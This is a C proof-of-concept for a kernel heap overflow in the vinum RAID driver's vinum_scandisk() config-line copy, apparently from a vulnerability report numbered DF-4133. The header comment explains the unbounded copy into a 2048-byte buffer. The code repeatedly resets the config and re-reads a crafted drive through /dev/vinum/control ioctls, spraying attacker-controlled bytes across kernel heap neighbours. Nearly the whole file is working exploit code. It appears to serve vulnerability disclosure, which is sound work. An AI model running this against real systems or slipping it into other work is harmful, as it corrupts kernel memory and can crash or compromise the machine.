DF-4133 / vinum_linemash.c
/* * DF-4133 PoC: vinum_scandisk() unbounded config-line copy overflow * * sys/dev/raid/vinum/vinumio.c:795-797 copies bytes from the on-disk * configuration into config_line (Malloc(MAXCONFIGLINE * 2) = 2048 bytes, * vinumio.c:763) until '\n' or '\0', with no bound. A crafted vinum drive * whose config area holds a line of ~60000 bytes (no newline) overflows the * kernel heap by ~58 KB with attacker-controlled content. The copy runs * BEFORE any parsing, so the config need not be valid. * * The crafted drive (label magic VINUM_MAGIC at partition offset 4096, * 60000 x 'A' at offset 4608 = VINUM_CONFIG_OFFSET) is prepared by * mkdisk.sh. Each loop iteration wipes the in-kernel config * (VINUM_RESETCONFIG) so that "read" re-reads the drive and re-runs the * overflow, spraying 0x41 across kmalloc(2048) zone neighbours until a * live object is hit. */ #include <sys/types.h> #include <sys/ioccom.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #define BUFSIZE 1024 #define VINUM_CREATE _IOC(IOC_INOUT, 'F', 64, BUFSIZE) #define VINUM_RESETCONFIG _IOC(0, 'F', 73, 0) int main(int argc, char **argv) { char buf[BUFSIZE]; int fd, i, iters = (argc > 1) ? atoi(argv[1]) : 10; fd = open("/dev/vinum/control", O_RDWR); if (fd < 0) { perror("open /dev/vinum/control"); return 1; } for (i = 0; i < iters; i++) { printf("iter %d: resetconfig + read crafted drive\n", i); fflush(stdout); if (ioctl(fd, VINUM_RESETCONFIG, 0) < 0 && errno != 0) printf(" resetconfig errno=%d\n", errno); memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "read %s", (argc > 2) ? argv[2] : "/dev/vn0s1a"); if (ioctl(fd, VINUM_CREATE, buf) < 0) printf(" read errno=%d reply.error=%d\n", errno, *(int *)buf); } printf("survived %d iterations\n", iters); return 0; } |